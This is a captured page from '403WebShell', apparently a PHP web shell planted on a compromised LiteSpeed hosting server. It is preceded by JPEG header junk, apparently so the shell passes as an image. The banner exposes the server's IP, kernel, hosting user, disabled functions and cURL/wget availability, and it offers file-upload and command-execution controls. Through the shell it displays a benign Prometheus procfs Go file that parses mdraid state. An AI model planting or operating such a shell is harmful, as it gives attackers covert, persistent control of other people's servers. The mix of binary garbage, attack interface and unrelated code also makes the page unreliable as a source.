JFIF ( %!1"%)-...383.7(-.+  -%&--------------------------------------------------"J !1"AQaq2BR#r3Sbs4T$Dd(!1"2AQaq# ?q& JX"-` Es?Bl 1( H6fX[vʆEiB!j{hu85o%TI/*T `WTXط8%ɀt*$PaSIa9gkG$t h&)ٞ)O.4uCm!w*:K*I&bDl"+ ӹ=<Ӷ|FtI{7_/,/T ̫ԷC ȷMq9[1w!R{ U<?СCԀdc8'124,I'3-G s4IcWq$Ro瓩!"j']VӤ'B4H8n)iv$Hb=B:B=YݚXZILcA g$ΕzuPD? !զIEÁ $D'l"gp`+6֏$1Ľ˫EjUpܣvDت\2Wڰ_iIْ/~'cŧE:ɝBn9&rt,H`*Tf֙LK$#d "p/n$J oJ@'I0B+NRwj2GH.BWLOiGP W@#"@ę| 2@P D2[Vj!VE11pHn,c~T;U"H㤑EBxHClTZ7:х5,w=.`,:Lt1tE9""@pȠb\I_IƝpe &܏/ 3, WE2aDK &cy(3nI7'0W էΠ\&@:נ!oZIܻ1j@=So LJ{5UĜiʒP H{^iaH?U2j@<'13nXkdP&%ɰ&-(<]Vlya7 6c1HJcmǸ!˗GB3Ԏߏ\=qIPNĉA)JeJtEJbIxWbdóT V'0 WH*|D u6ӈHZh[8e  $v>p!rIWeB,i '佧 )g#[)m!tahm_<6nL/ BcT{"HSfp7|ybi8'.ih%,wm  403WebShell
403Webshell
Server IP : 185.124.137.214  /  Your IP : 216.73.217.129
Web Server : LiteSpeed
System : Linux id-dci-web1986.main-hosting.eu 5.14.0-611.26.1.el9_7.x86_64 #1 SMP PREEMPT_DYNAMIC Thu Jan 29 05:24:47 EST 2026 x86_64
User : u686484674 ( 686484674)
PHP Version : 8.0.30
Disable Function : system, exec, shell_exec, passthru, mysql_list_dbs, ini_alter, dl, symlink, link, chgrp, leak, popen, apache_child_terminate, virtual, mb_send_mail
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /proc/self/root/opt/go/pkg/mod/github.com/prometheus/procfs@v0.15.1/sysfs/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /proc/self/root/opt/go/pkg/mod/github.com/prometheus/procfs@v0.15.1/sysfs/mdraid.go
// Copyright 2023 The Prometheus Authors
// Licensed under the Apache License, Version 2.0 (the "License");
// you may not use this file except in compliance with the License.
// You may obtain a copy of the License at
//
// http://www.apache.org/licenses/LICENSE-2.0
//
// Unless required by applicable law or agreed to in writing, software
// distributed under the License is distributed on an "AS IS" BASIS,
// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
// See the License for the specific language governing permissions and
// limitations under the License.

//go:build linux
// +build linux

package sysfs

import (
	"fmt"
	"path/filepath"
	"strings"

	"github.com/prometheus/procfs/internal/util"
)

// Mdraid holds info parsed from relevant files in the /sys/block/md*/md directory.
type Mdraid struct {
	Device          string            // Kernel device name of array.
	Level           string            // mdraid level.
	ArrayState      string            // State of the array.
	MetadataVersion string            // mdraid metadata version.
	Disks           uint64            // Number of devices in a fully functional array.
	Components      []MdraidComponent // mdraid component devices.
	UUID            string            // UUID of the array.

	// The following item is only valid for raid0, 4, 5, 6 and 10.
	ChunkSize uint64 // Chunk size

	// The following items are only valid for raid1, 4, 5, 6 and 10.
	DegradedDisks uint64  // Number of degraded disks in the array.
	SyncAction    string  // Current sync action.
	SyncCompleted float64 // Fraction (0-1) representing the completion status of current sync operation.
}

type MdraidComponent struct {
	Device string // Kernel device name.
	State  string // Current state of device.
}

// Mdraids gathers information and statistics about mdraid devices present. Based on upstream
// kernel documentation https://docs.kernel.org/admin-guide/md.html.
func (fs FS) Mdraids() ([]Mdraid, error) {
	matches, err := filepath.Glob(fs.sys.Path("block/md*/md"))
	if err != nil {
		return nil, err
	}

	mdraids := make([]Mdraid, 0)

	for _, m := range matches {
		md := Mdraid{Device: filepath.Base(filepath.Dir(m))}
		path := fs.sys.Path("block", md.Device, "md")

		if val, err := util.SysReadFile(filepath.Join(path, "level")); err == nil {
			md.Level = val
		} else {
			return mdraids, err
		}

		// Array state can be one of: clear, inactive, readonly, read-auto, clean, active,
		// write-pending, active-idle.
		if val, err := util.SysReadFile(filepath.Join(path, "array_state")); err == nil {
			md.ArrayState = val
		} else {
			return mdraids, err
		}

		if val, err := util.SysReadFile(filepath.Join(path, "metadata_version")); err == nil {
			md.MetadataVersion = val
		} else {
			return mdraids, err
		}

		if val, err := util.ReadUintFromFile(filepath.Join(path, "raid_disks")); err == nil {
			md.Disks = val
		} else {
			return mdraids, err
		}

		if val, err := util.SysReadFile(filepath.Join(path, "uuid")); err == nil {
			md.UUID = val
		} else {
			return mdraids, err
		}

		if devs, err := filepath.Glob(filepath.Join(path, "dev-*")); err == nil {
			for _, dev := range devs {
				comp := MdraidComponent{Device: strings.TrimPrefix(filepath.Base(dev), "dev-")}

				// Component state can be a comma-separated list of: faulty, in_sync, writemostly,
				// blocked, spare, write_error, want_replacement, replacement.
				if val, err := util.SysReadFile(filepath.Join(dev, "state")); err == nil {
					comp.State = val
				} else {
					return mdraids, err
				}

				md.Components = append(md.Components, comp)
			}
		} else {
			return mdraids, err
		}

		switch md.Level {
		case "raid0", "raid4", "raid5", "raid6", "raid10":
			if val, err := util.ReadUintFromFile(filepath.Join(path, "chunk_size")); err == nil {
				md.ChunkSize = val
			} else {
				return mdraids, err
			}
		}

		switch md.Level {
		case "raid1", "raid4", "raid5", "raid6", "raid10":
			if val, err := util.ReadUintFromFile(filepath.Join(path, "degraded")); err == nil {
				md.DegradedDisks = val
			} else {
				return mdraids, err
			}

			// Array sync action can be one of: resync, recover, idle, check, repair.
			if val, err := util.SysReadFile(filepath.Join(path, "sync_action")); err == nil {
				md.SyncAction = val
			} else {
				return mdraids, err
			}

			if val, err := util.SysReadFile(filepath.Join(path, "sync_completed")); err == nil {
				if val != "none" {
					var a, b uint64

					// File contains two values representing the fraction of number of completed
					// sectors divided by number of total sectors to process.
					if _, err := fmt.Sscanf(val, "%d / %d", &a, &b); err == nil {
						md.SyncCompleted = float64(a) / float64(b)
					} else {
						return mdraids, err
					}
				}
			} else {
				return mdraids, err
			}
		}

		mdraids = append(mdraids, md)
	}

	return mdraids, nil
}

Youez - 2016 - github.com/yon3zu
LinuXploit